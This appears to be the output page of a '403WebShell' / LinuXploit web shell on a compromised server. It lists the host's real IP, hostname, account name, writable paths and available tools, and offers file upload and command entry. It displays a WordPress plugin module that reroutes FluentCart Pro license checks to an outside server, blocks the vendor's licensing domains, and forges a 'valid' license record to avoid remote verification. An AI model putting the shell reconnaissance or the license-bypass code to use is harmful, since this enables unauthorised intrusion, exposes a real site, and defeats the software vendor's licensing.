$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/fluent-cart-pro.php
<?php
/**
 * FluentCart Pro module.
 *
 * Redirects FluentCart license API calls to GLS3 and manages license data.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * FluentCart Pro license module.
 */
class Fluent_Cart_Pro extends AbstractModule {

	/**
	 * License option key.
	 *
	 * @var string
	 */
	private string $license_option = '__fluent-cart-pro_sl_info';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'fluent-cart-pro';
		$this->name        = 'FluentCart Pro';
		$this->description = 'Manages FluentCart Pro license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.1.0';
		$this->target      = array(
			'plugin_dir'  => 'fluent-cart-pro',
			'plugin_file' => 'fluent-cart-pro.php',
		);
		$this->target_id   = '1998313367';

		$this->update_transients = array(
			'fsl_927df4b56642f7b7a901351c9048f733_version_info' => (object) array( 'new_version' => '0.0.0' ),
		);

		$this->blocked_domains = array(
			'fluentcart.com/?fluent-cart='              => self::generic_block(),
			'fluentapi.wpmanageninja.com/?fluent-cart=' => self::generic_block(),
			'wpmanageninja.com/?fluent-cart='           => self::generic_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://fluentcart.com',
			HELLOPACK_GLS3_URL . '/wpmanageninja'
		);

		$this->setup_license();
	}

	/**
	 * Set up license data.
	 */
	private function setup_license(): void {
		$token = Options::get( 'token' );
		if ( empty( $token ) ) {
			return;
		}

		$current = get_option( $this->license_option, array() );

		if ( is_array( $current )
			&& 'valid' === ( $current['status'] ?? '' )
			&& ( $current['license_key'] ?? '' ) === (string) $token
			&& '' === ( $current['expires'] ?? '' )
		) {
			return;
		}

		update_option(
			$this->license_option,
			array(
				'license_key' => (string) $token,
				'price_id'    => '',
				'expires'     => '',
				'status'      => 'valid',
			)
		);

		// Set last check timestamp to avoid remote verification.
		hellopack_ensure_option( '_fct_pro_plugin_license_lc', time() );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		$data = get_option( $this->license_option );
		if ( is_array( $data ) ) {
			$data['status'] = 'invalid';
			update_option( $this->license_option, $data );
		}
		hellopack_delete_option( '_fct_pro_plugin_license_lc' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit